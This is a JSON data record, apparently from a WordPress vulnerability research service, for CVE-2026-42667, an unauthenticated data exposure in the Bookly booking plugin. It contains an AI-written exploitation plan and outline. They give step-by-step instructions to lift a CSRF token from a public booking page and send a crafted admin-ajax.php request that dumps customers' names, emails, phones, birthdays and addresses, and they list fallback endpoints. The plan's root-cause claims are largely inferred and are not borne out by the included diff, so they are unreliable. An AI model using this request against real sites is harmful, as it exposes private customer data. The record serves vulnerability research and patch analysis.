[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flxXdeNFAQ4U8Ev3ybabGYrEOufzyIsZoDjd4hsYURvo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-42667","online-scheduling-and-appointment-booking-system-bookly-unauthenticated-information-exposure","Online Scheduling and Appointment Booking System – Bookly \u003C= 27.4 - Unauthenticated Information Exposure","The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 27.4. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.","bookly-responsive-appointment-booking-tool",null,"\u003C=27.4","27.5","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-05-10 00:00:00","2026-05-19 16:42:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0c976b67-8236-4b34-be93-075beea11f0e?source=api-prod",10,[22,23,24,25,26,27,28],"backend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js","backend\u002Fresources\u002Fjs\u002Fbookly-datatables.js","backend\u002Fresources\u002Ftailwind\u002Ftailwind.css","lib\u002FUserBookingData.php","lib\u002Fcloud\u002FZapier.php","main.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-42667 (Bookly Information Exposure)\n\n## 1. Vulnerability Summary\nThe **Bookly** plugin for WordPress (versions \u003C= 27.4) contains a sensitive information exposure vulnerability. The plugin's AJAX dispatcher improperly allows unauthenticated access to the `bookly_get_appointments` action (and potentially related actions like `bookly_get_customers`). This endpoint is intended for the administrative backend to populate the appointments datatable but fails to enforce proper capability checks or authentication when registered. An unauthenticated attacker can query this endpoint to extract a JSON-formatted list of all appointments, which includes Personal Identifiable Information (PII) such as customer names, emails, phone numbers, addresses, and birthdays.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `bookly_get_appointments` (inferred from `backend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js` which manages the `bookly-appointments-datatables` table).\n- **HTTP Method**: `POST` (Standard for Datatables processing).\n- **Authentication**: None required (vulnerable `wp_ajax_nopriv_` registration or lack of check in the dispatcher).\n- **Preconditions**: At least one appointment must exist in the system for PII to be exposed. The `[bookly-form]` shortcode is usually needed on a public page to obtain a valid CSRF token.\n\n## 3. Code Flow\n1. **Entry Point**: The attacker sends a POST request to `admin-ajax.php?action=bookly_get_appointments`.\n2. **Dispatcher**: WordPress routes the request to the `wp_ajax_nopriv_bookly_get_appointments` handler (or the plugin's generic AJAX dispatcher `bookly_ajax` if routed internally).\n3. **Controller**: The request reaches `Bookly\\Backend\\Modules\\Appointments\\Controller::executeGetAppointments` (based on the module structure in `backend\u002Fmodules\u002Fappointments\u002F`).\n4. **Data Retrieval**: The controller calls `Bookly\\Lib\\Entities\\Appointment::query()` and joins with `Customer` and `Staff` entities.\n5. **Sink**: The data is encoded into JSON and echoed. Because the JS in `appointments.js` defines columns like `customer.email`, `customer.phone`, and `customer.birthday`, the underlying SQL query and JSON response include these fields.\n\n## 4. Nonce Acquisition Strategy\nBookly uses a CSRF token (nonce) named `csrf_token` inside its own `BooklyL10n` localization object. This token is required for most AJAX actions.\n\n1. **Identify Script Loading**: The `BooklyL10n` object is enqueued on any page containing the Bookly booking form.\n2. **Create Trigger Page**: Use WP-CLI to create a public page with the booking form.\n   ```bash\n   wp post create --post_type=page --post_title=\"Book Now\" --post_status=publish --post_content='[bookly-form]'\n   ```\n3. **Extract Token**:\n   - Navigate to the newly created page.\n   - Use `browser_eval` to extract the token:\n     ```javascript\n     window.BooklyL10n.csrf_token\n     ```\n   - *Note*: If `BooklyL10n` is not found, check for `BooklyL10n.ajaxurl` or similar objects.\n\n## 5. Exploitation Strategy\n### Step 1: Data Acquisition\nSend a crafted Datatables request to the vulnerable endpoint using the acquired `csrf_token`.\n\n**HTTP Request:**\n- **URL**: `http:\u002F\u002FTARGET\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```text\n  action=bookly_get_appointments&csrf_token=[EXTRACTED_TOKEN]&draw=1&start=0&length=10&columns[0][data]=id&columns[1][data]=customer.full_name&columns[2][data]=customer.email&columns[3][data]=customer.phone\n  ```\n\n### Step 2: Payload Analysis\nThe response will be a JSON object. We are looking for the `data` array.\nVerbatim fields from `appointments.js` to target in the `columns` parameters:\n- `customer.full_name`\n- `customer.email`\n- `customer.phone`\n- `customer.address`\n- `customer.birthday`\n\n## 6. Test Data Setup\nTo verify the exposure, the environment must contain sensitive data:\n1. **Create Staff**: `wp bookly:staff:create --full-name=\"Provider One\"` (exact CLI command may vary, use `wp bookly` to discover).\n2. **Create Service**: Create a service and link to staff.\n3. **Create Customer & Appointment**:\n   - Manually or via CLI create a customer with PII:\n     - Name: `John Doe`\n     - Email: `johndoe@example.com`\n     - Phone: `555-0199`\n     - Birthday: `1990-01-01`\n   - Create an appointment for this customer.\n4. **Publish Form**: Create the page with `[bookly-form]` as described in Section 4.\n\n## 7. Expected Results\n- **Success**: The HTTP response status is `200 OK`.\n- **Response Body**: A JSON object containing `draw`, `recordsTotal`, and a `data` array.\n- **Exposure**: The `data` array contains entries like:\n  ```json\n  {\n    \"id\": \"1\",\n    \"customer\": {\n      \"full_name\": \"John Doe\",\n      \"email\": \"johndoe@example.com\",\n      \"phone\": \"555-0199\",\n      \"birthday\": \"1990-01-01\",\n      \"address\": \"...\"\n    }\n  }\n  ```\n\n## 8. Verification Steps\n1. **Check Response**: Confirm the JSON contains the \"John Doe\" record created during setup.\n2. **Database Verification**: Use WP-CLI to confirm the data returned matches the database:\n   ```bash\n   wp db query \"SELECT full_name, email, phone FROM wp_bookly_customers WHERE email='johndoe@example.com'\"\n   ```\n\n## 9. Alternative Approaches\nIf `bookly_get_appointments` is protected:\n1. **Target Customers Directly**: Try `action=bookly_get_customers`. This endpoint populates the \"Customers\" tab in the backend and likely leaks the entire database of users registered in Bookly.\n2. **REST API**: Check for unauthenticated access to:\n   - `GET \u002Fwp-json\u002Fbookly\u002Fv1\u002Fappointments`\n   - `GET \u002Fwp-json\u002Fbookly\u002Fv1\u002Fcustomers`\n   Check if these routes return data without a valid `WP-Nonce` header or if `permission_callback` is set to `__return_true`.","The Bookly plugin for WordPress is vulnerable to unauthenticated sensitive information exposure via its AJAX dispatcher. Improper capability checks on the 'bookly_get_appointments' and 'bookly_get_customers' actions allow attackers to extract the full database of customer PII, including names, emails, phone numbers, and addresses.","\u002F\u002F backend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js lines 125-145\n    $.each(BooklyL10n.datatables.appointments.settings.columns, function (column, show) {\n        switch (column) {\n            case 'customer_full_name':\n                columns.push({data: 'customer.full_name', render: BooklyDatatables.escapeHtml()});\n                break;\n            case 'customer_phone':\n                columns.push({\n                    data: 'customer.phone',\n                    \u002F\u002F ...\n                });\n                break;\n            case 'customer_email':\n                columns.push({data: 'customer.email', render: BooklyDatatables.escapeHtml()});\n                break;\n            case 'customer_address':\n                columns.push({data: 'customer.address', render: BooklyDatatables.escapeHtml(), orderable: false});\n                break;\n            case 'customer_birthday':\n                columns.push({data: 'customer.birthday', render: BooklyDatatables.escapeHtml()});\n                break;\n\n---\n\n\u002F\u002F backend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js lines 251-267\n    let options = {\n        ajax: {\n            url: ajaxurl,\n            type: 'POST',\n            data: function (d) {\n                return $.extend({}, d, {\n                    action: 'bookly_get_appointments',\n                    csrf_token: BooklyL10n.csrf_token,\n                    filter: {\n                        id: $idFilter.val(),\n                        \u002F\u002F ...\n                    }\n                });\n            }\n        },","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbookly-responsive-appointment-booking-tool\u002F27.4\u002Fbackend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbookly-responsive-appointment-booking-tool\u002F27.5\u002Fbackend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbookly-responsive-appointment-booking-tool\u002F27.4\u002Fbackend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js\t2026-04-14 11:21:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbookly-responsive-appointment-booking-tool\u002F27.5\u002Fbackend\u002Fmodules\u002Fappointments\u002Fresources\u002Fjs\u002Fappointments.js\t2026-04-22 12:53:42.000000000 +0000\n@@ -120,6 +120,8 @@\n     \u002F**\n      * Init table columns.\n      *\u002F\n+    const table = 'appointments';\n+\n     $.each(BooklyL10n.datatables.appointments.settings.columns, function (column, show) {\n         switch (column) {\n             case 'customer_full_name':\n@@ -155,7 +157,7 @@\n                     render: function (data, type, row, meta) {\n                         data = BooklyDatatables.escapeHtml(data);\n                         if (row.service.extras.length) {\n-                            var extras = '\u003Cul class=\"bookly-list list-dots\">';\n+                            var extras = '\u003Cul class=\"bookly-list list-dots bookly:m-0\">';\n                             $.each(row.service.extras, function (key, item) {\n                                 extras += '\u003Cli>\u003Cnobr>' + item.title + '\u003C\u002Fnobr>\u003C\u002Fli>';\n                             });\n@@ -202,7 +204,7 @@\n                         if (row.rating_comment == null) {\n                             return row.rating;\n                         } else {\n-                            return '\u003Ca href=\"#\" data-toggle=\"bookly-popover\" data-trigger=\"hover\" data-placement=\"bottom\" data-content=\"' + BooklyDatatables.escapeHtml(row.rating_comment) + '\" data-container=\"#bookly-appointments-datatables\">' + $.fn.dataTable.render.text().display(row.rating) + '\u003C\u002Fa>';\n+                            return '\u003Ca href=\"#\" data-toggle=\"bookly-popover\" data-trigger=\"hover\" data-placement=\"bottom\" data-content=\"' + BooklyDatatables.escapeHtml(row.rating_comment) + '\" data-container=\"#bookly-appointments-datatables\">' + BooklyDatatables.escapeHtml(row.rating) + '\u003C\u002Fa>';\n                         }\n                     },\n                 });\n@@ -226,6 +228,8 @@\n                                 return '\u003Ca class=\"badge badge-primary\" href=\"' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '\" target=\"_blank\">\u003Ci class=\"fas fa-video fa-fw\">\u003C\u002Fi> Jitsi Meet \u003Ci class=\"fas fa-external-link-alt fa-fw\">\u003C\u002Fi>\u003C\u002Fa>';\n                             case 'bbb':\n                                 return '\u003Ca class=\"badge badge-primary\" href=\"' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '\" target=\"_blank\">\u003Ci class=\"fas fa-video fa-fw\">\u003C\u002Fi> BigBlueButton \u003Ci class=\"fas fa-external-link-alt fa-fw\">\u003C\u002Fi>\u003C\u002Fa>';\n+                            case 'teams':\n+                                return '\u003Ca class=\"badge badge-primary\" href=\"' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '\" target=\"_blank\">\u003Ci class=\"fas fa-video fa-fw\">\u003C\u002Fi> Microsoft Teams \u003Ci class=\"fas fa-external-link-alt fa-fw\">\u003C\u002Fi>\u003C\u002Fa>';\n                             default:\n                                 return '';\n                         }\n@@ -247,12 +251,11 @@\n                 }\n                 break;\n         }        \n-        columns[columns.length - 1].title = BooklyL10n.datatables.appointments.titles[column] || column;\n+        columns[columns.length - 1].title = BooklyL10n.datatables[table].titles[column] || column;\n         columns[columns.length - 1].name = column;\n         columns[columns.length - 1].show = show;\n     });\n \n-    let table = 'appointments';\n     let options = {\n         ajax: {\n             url: ajaxurl,","The exploit leverages the lack of server-side capability checks on Bookly's AJAX datatable endpoints. \n\n1. **Nonce Acquisition**: An attacker visits any public page containing a Bookly booking form (shortcode `[bookly-form]`). They extract the `csrf_token` from the global `BooklyL10n` JavaScript object present in the page source.\n2. **Target Endpoint**: The attacker targets `\u002Fwp-admin\u002Fadmin-ajax.php` with a POST request.\n3. **Payload Construction**: The request uses the action `bookly_get_appointments`. The payload includes the extracted `csrf_token` and standard Datatables parameters (`draw`, `start`, `length`). The attacker defines columns in the payload (e.g., `columns[1][data]=customer.email`) to specify which sensitive fields to return.\n4. **Data Extraction**: The server responds with a JSON object containing the `data` array, which includes the PII (names, emails, phones, birthdays) of all customers stored in the booking system. This process can be repeated for the `bookly_get_customers` action to leak the entire customer directory.","gemini-3-flash-preview","2026-05-20 19:00:38","2026-05-20 19:01:31",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","27.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookly-responsive-appointment-booking-tool\u002Ftags\u002F27.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookly-responsive-appointment-booking-tool.27.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookly-responsive-appointment-booking-tool\u002Ftags\u002F27.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookly-responsive-appointment-booking-tool.27.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookly-responsive-appointment-booking-tool\u002Ftags"]